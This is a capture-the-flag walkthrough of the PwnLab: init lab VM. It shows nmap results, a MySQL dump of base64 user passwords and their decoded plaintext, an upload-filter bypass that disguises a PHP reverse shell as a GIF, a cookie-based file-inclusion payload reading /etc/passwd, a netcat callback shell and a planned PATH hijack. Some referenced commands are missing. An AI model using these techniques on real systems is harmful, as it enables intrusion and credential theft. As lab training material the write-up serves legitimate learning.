Today’s boot2root is called PwnLab: init and the goal is to read the flag in /root/flag.txt
12345678910111213141516171819202122232425
Nmap scan report for 192.168.164.129
Host is up (0.00099s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: PwnLab Intranet Image Hosting
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 37397/udp status
|_ 100024 1 58026/tcp status
3306/tcp open mysql MySQL 5.5.47-0+deb8u1
| mysql-info:
| Protocol: 10
| Version: 5.5.47-0+deb8u1
| Thread ID: 38
| Capabilities flags: 63487
| Some Capabilities: InteractiveClient, LongColumnFlag, FoundRows, SupportsLoadDataLocal, Speaks41ProtocolOld, IgnoreSpaceBeforeParenthesis, ConnectWithDatabase, SupportsTransactions, LongPassword, Support41Auth, IgnoreSigpipes, DontAllowDatabaseTableColumn, Speaks41ProtocolNew, ODBCClient, SupportsCompression, SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults
| Status: Autocommit
| Salt: pKc2lJniDVf|]<Rg2bwQ
|_ Auth Plugin Name: 88
58026/tcp open status 1 (RPC #100024)
The website is an intranet portal for uploading images, but we have to login first.
I ran Nikto on it but there were no interesting finds, except for the following line:
1
+ /config.php: PHP Config file may contain database IDs and passwords.
However, when I tried to read that file, all I got was a blank page. I’ve noticed that the URLs for the pages look like this: http://192.168.164.129/?page=login for the login page and http://192.168.164.129/?page=upload for the upload page. I tried some directory traversal and file inclusion techniques, thinking that this might be the way of reading the config.php file, but had no luck. However, as I was searching for a way on the internet, I came across this article on a LFI method that uses PHP filters. The below command allows reading the source of PHP files by using the filter functionality to base64 encode the contents of the file before reading it:
mysql -u root -h 192.168.217.143
ERROR 1045 (28000): Access denied for user 'root'@'192.168.217.132' (using password: NO)
root@kali:~# mysql -u root -p -h 192.168.217.143
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 41
Server version: 5.5.47-0+deb8u1 (Debian)
Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]> use Users
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MySQL [Users]>
Let’s see what we have here:
12345678910111213141516
MySQL [Users]> show tables;
+-----------------+
| Tables_in_Users |
+-----------------+
| users |
+-----------------+
1 row in set (0.00 sec)
MySQL [Users]> select * from users;
+------+------------------+
| user | pass |
+------+------------------+
| kent | Sld6WHVCSkpOeQ== |
| mike | U0lmZHNURW42SQ== |
| kane | aVN2NVltMkdSbw== |
+------+------------------+
3 rows in set (0.05 sec)
3 users with base64 encoded passwords!
123
kent / JWzXuBJJNy
mike / SIfdsTEn6I
kane / iSv5Ym2GRo
I logged in as kent and tried uploading a PHP reverse shell, but got an error stating that the file type is not allowed. Using the previous LFI method, let’s take a look at the source code of the upload page:
We can see that the file will get uploaded to the /upload folder with an MD5 name and that it has to be an image file of the 4 allowed types, complete with a matching MIME type. To test it, I changed pentestmonkey’s reverse shell extension to .gif and added the magic string at the beginning of the file (GIF98). Then I pushed the upload button and bingo! The shell has been successfully deployed at upload/ff280c52a4fbcbea847ca4a2d69ce6c0.gif
My listener is prepared and all, but there is still the matter of how to execute the shell. For any possible hint, I’ve looked t the source code of the index page:
<?php//Multilingual. Not implemented yet.//setcookie("lang","en.lang.php");if(isset($_COOKIE['lang'])){include("lang/".$_COOKIE['lang']);}// Not implemented yet.?><html><head><title>PwnLab Intranet Image Hosting</title></head><body><center><img src="images/pwnlab.png"><br />[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]<hr/><br/><?phpif(isset($_GET['page'])){include($_GET['page'].".php");}else{echo"Use this server to upload and share image files inside the intranet";}?></center></body></html>
That cookie parameter looks vulnerable if we can include a file of our choosing. I tested it by replaying a request in Burp and using the following LFI for the cookie value:
1
Cookie: lang=../../../../etc/passwd
The response came back with the contents of the passwd file, so it worked! I did the same, this time setting the cookie to the path of the previously uploaded shell:
nc -vnlp 8888
listening on [any] 8888 ...
connect to [192.168.217.132] from (UNKNOWN) [192.168.217.143] 36356
Linux pwnlab 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt20-1+deb8u4 (2016-02-29) i686 GNU/Linux
11:08:31 up 2:34, 0 users, load average: 0.00, 0.01, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python -c "import pty;pty.spawn('/bin/sh');"
I’ve proceeded to switch through the 3 users for which I got the passwords earlier and see what can be done. Nothing interesting from kent, getting an authentication failure as mike, but in kane’s home folder there’s an interesting SUID binary called msgmike
1
-rwsr-sr-x 1 mike mike 5.1K Mar 17 2016 msgmike
Trying to run it gives an error:
123
kane@pwnlab:~$ ./msgmike
./msgmike
cat: /home/mike/msg.txt: No such file or directory
Interesting, this calls cat, but not from an absolute path. So if we create a malicious binary called cat and add kane’s home to the PATH variable, we should be able to run an arbitrary program with mike’s privileges.